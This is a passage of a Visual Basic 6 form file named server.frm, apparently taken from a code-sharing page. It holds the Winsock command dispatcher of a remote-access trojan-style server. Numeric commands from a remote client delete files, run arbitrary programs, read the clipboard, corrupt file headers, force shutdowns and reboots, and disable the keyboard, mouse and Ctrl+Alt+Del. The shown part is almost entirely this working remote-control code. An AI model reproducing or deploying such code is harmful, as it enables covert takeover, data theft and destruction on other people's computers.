📄 server.frm
字号:
'GET DRIVE BYTES FREE
WinsockCtl.SendData "010" & DriveBytesFree(CLng(Mid(SendData, 4, Len(SendData) - 3)))
Case "033":
'NOT WORKING
'GET DRIVE TOTAL BYTES
WinsockCtl.SendData "011" & DriveTotalBytes(CLng(Mid(SendData, 4, Len(SendData) - 3)))
Case "034":
'NOT WORKING
'GET DRIVE PERCENT FREE
WinsockCtl.SendData "012" & DrivePercentFree(CLng(Mid(SendData, 4, Len(SendData) - 3)))
Case "035":
'NOT WORKING
'DRIVE OTHER INFORMATION
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
WinsockCtl.SendData "013" & DriveOtherInfo(CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "036":
'PRINT TEXT
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
PrintText Mid(SendData, 4, Len(SendData) - 3)
Case "037":
'SET CURSOR POSITION
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
SetCursorP CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "038":
'GET CURSOR POSITION X
WinsockCtl.SendData "014" & GetCursorX
Case "039":
'GET CURSOR POSITION Y
WinsockCtl.SendData "015" & GetCursorY
Case "040":
'OPEN CD ROM
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
OpenCDROM
Case "041":
'CLOSE CD ROM
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
CloseCDROM
Case "042":
'GET PRIVATE PROFILE STRING
'NOT USED
Case "043":
'SET PRIVATE PROFILE STRING
'NOT USED
Case "044":
'CALL CACHE
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
SendData = Mid(SendData, 4, Len(SendData) - 3)
For M = 1 To Len(SendData)
ChrState = Mid(SendData, M, 1)
If ChrState = Chr(0) Or M = 1 Then
Select Case CountVal
Case 0: LastLen = M: CountVal = 1
Case 1: val01 = Left(SendData, M - LastLen): LastLen = M: CountVal = 2
Case 2:
val03 = Right(SendData, Len(SendData) - M): CountVal = 3
val02 = Mid(SendData, LastLen + 1, Len(SendData) - (LastLen + Len(val03) + 1))
End Select
End If
Next M
CallCache CLng(val01), val02, val03
Case "045":
'CHECK PAK VALID CYT1.0
WinsockCtl.SendData "016" & PakValid(Mid(SendData, 4, Len(SendData) - 3))
Case "046":
'PRECACHE SOUND
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
'NOT USED IN VAL STATEMENT
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
PrecacheSound Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)
Exit For
End If
Next M
Case "047":
'CHECK FILE COUNT IN CYT1.0 SPK
WinsockCtl.SendData "017" & SOUNDPRECACHEFileCount(Mid(SendData, 4, Len(SendData) - 3))
Case "048":
'GET NAME OUT OF SPK CYT1.0 PAK FILE (FROM NUMBER TO NAME)
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
WinsockCtl.SendData "018" & SOUNDPRECACHEGetName(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))
Exit For
End If
Next M
Case "049":
'HIDE START BUTTON
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
HideStartButton
Case "050":
'SHOW START BUTTON
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowStartButton
Case "051":
'HIDE TASKBAR CLOCK
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
HideTaskBarClock
Case "052":
'SHOW TASKBAR CLOCK
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowTaskBarClock
Case "053":
'HIDE TASKBAR ICONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
HideTaskBarIcons
Case "054":
'SHOW TASKBAR ICONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowTaskBarIcons
Case "055":
'HIDE PROGRAMS SHOWING IN TASKBAR
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
HideProgramsShowingInTaskBar
Case "056":
'SHOW PROGRAMS SHOWING IN TASKBAR
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowProgramsShowingInTaskBar
Case "057":
'HIDE WINDOWS TOOLBAR
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
HideWindowsToolBar
Case "058":
'SHOW WINDOWS TOOLBAR
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowWindowsToolBar
Case "059":
'DIABLE CTRL, ALT, DEL
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
DisableCtrlAltDel
Case "060":
'ENABLE CTRL, ALT, DEL
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
EnableCtrlAltDel
Case "061":
'WINDOWS LOGOFF
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
WINLogUserOff
Case "062":
'WINDOWS FORCE SHUTDOWN
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
WINForceClose
Case "063":
'WINDOWS SHUTDOWN
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
WINShutdown
Case "064":
'WINDOWS REBOOT
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
WINReboot
Case "065":
'OPEN FIND DIALOG
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ShowFindDialog Mid(SendData, 4, Len(SendData) - 3)
Case "066":
'HIDE DESKTOP ICONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
BestWayHideDesktopIcons
Case "067":
'SHOW DESKTOP ICONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
BestWayShowDesktopIcons
Case "068":
'DISPLAY EXE ICON CHANGE DIALOG
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
DisplayChangeIconDialog Mid(SendData, 4, Len(SendData) - 3)
Case "069":
'DRAW EXTRACTED ICON
'NOT USED
Case "070":
'DISPLAY FORMAT DRIVE DIALOG (SPECIFY DRIVE LETTER)
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
DisplayFormatDriveDialog Mid(SendData, 4, Len(SendData) - 3)
Case "071":
'CHECK IF PATH IS EXECUTABLE
WinsockCtl.SendData "019" & IsPathExecutable(Mid(SendData, 4, Len(SendData) - 3))
Case "072":
'EXIT WINDOWS MESSAGE DIALOG
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
ExitWindowsMsgBox
Case "073":
'DISPLAY RUN DIALOG
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
DisplayRunDialog 0, Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M), True, True
Exit For
End If
Next M
Case "074":
'CHECK HWND FOR WINDOWS IE PROTOCALL
'NO RETURN REQUEST (NOT USED)
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
EnumWindowsProc CLng(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))), CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "075":
'MINIMIZE ALL INTERNET EXPLORER WINDOWS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
MinimizeIE
Case "076":
'RESTORE ALL INTERNET EXPLORER WINDOWS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
RestoreIE
Case "077":
'GET WINDOW NAME
Dim Win_Text As String
Win_Text = Space(256)
Call GetWindowText(CLng(Mid(SendData, 4, Len(SendData) - 3)), Win_Text, 256)
WinsockCtl.SendData "020" & GetClassName(CLng(Mid(SendData, 4, Len(SendData) - 3))) & Chr(0) & Win_Text
Case "078":
'KILL FILE
If userPurview > 3 Then '权限评定 userPurview=1
WinsockCtl.SendData "sorry1"
Exit Sub
Else
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Kill Mid(SendData, 4, Len(SendData) - 3)
End If
Case "079":
'REMOVE DIRECTORY
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
RemoveDirectory Mid(SendData, 4, Len(SendData) - 3)
Case "080":
'MAKE DIRECTORY
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
MkDir Mid(SendData, 4, Len(SendData) - 3)
Case "081":
'COPY FILE TO NEW LOCATION
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
FileCopy Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)
Exit For
End If
Next M
Case "082":
'EMPTY CLIPBOARD
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
VB.Clipboard.Clear
Case "083":
If userPurview > 2 Then '权限评定 userPurview=1
WinsockCtl.SendData "sorry2"
Exit Sub
Else
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Shell Mid(SendData, 4, Len(SendData) - 3), vbNormalFocus
End If
Case "084":
'SET TEXT TO CLIPBOARD
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
VB.Clipboard.SetText Mid(SendData, 4, Len(SendData) - 3)
Case "085":
'GET CLIPBOARD TEXT
WinsockCtl.SendData "021" & VB.Clipboard.GetText
Case "086":
'SET CLIPBOARD PICTURE
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
VB.Clipboard.SetData Mid(SendData, 4, Len(SendData) - 3)
Case "087":
'GET CLIPBOARD PICTURE
WinsockCtl.SendData "022" & VB.Clipboard.GetData
Case "088":
'DISCONNECT INTERNET
If InternetAutodialHangup(0) Then
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Else
WinsockCtl.SendData "M4Your data (SET) information request has been aborted."
End If
Case "089":
'PROMPT USER TO CONNECT TO THE NET
If InternetAutodial(INTERNET_AUTODIAL_FORCE_ONLINE, 0) Then
'WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Else
'WinsockCtl.SendData "M4Your data (SET) information request has been aborted."
End If
Case "090":
'FORCE CONNECTION
If InternetAutodial(INTERNET_AUTODIAL_FORCE_UNATTENDED, 0) Then
'WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Else
'WinsockCtl.SendData "M4Your data (SET) information request has been aborted."
End If
Case "091":
'SHOW DESKTOP SHORTCUT PROPERTIES IN SYSTEM TRAY
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Shell "RunDLL deskcp16.dll,QUICKRES_RUNDLLENTRY", vbNormalFocus
Case "092":
'LOCK FILE (FILES ONLY WITH HEADERS)
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
FileNumber = FreeFile
Close #FileNumber
Open Mid(SendData, 4, Len(SendData) - 3) For Binary As #FileNumber
FileBinary = Space(LOF(FileNumber))
Get #FileNumber, 1, FileBinary
Put #FileNumber, 1, "#"
Put #FileNumber, 2, FileBinary
Close #FileNumber
Case "093":
'SHELL CPL FILE (DON'T WORK MISSING ENTRY)
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Shell "Rundll32.exe shell32.dll, Control_RunDll " & Mid(SendData, 4, Len(SendData) - 3)
Case "094":
'DISABLE THE KEYBOARD
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Shell "rundll32 keyboard,disable"
Case "095":
'DISABLE THE MOUSE
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Shell "rundll32 mouse,disable"
Case "096":
'SET MOUSE TRAIL TO
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
Mouse_SetTrails CLng(Mid(SendData, 4, Len(SendData) - 3))
Case "097":
'MONITOR SHUTDOWN
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 0&
Case "098":
'MONITOR ONLINE
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal -1&
Case "099":
'SWAP MOUSE BUTTONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
SwapMouseButton 1
Case "100":
'RESTORE MOUSE BUTTONS
WinsockCtl.SendData "M2Your data (SET) information request has been sent."
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -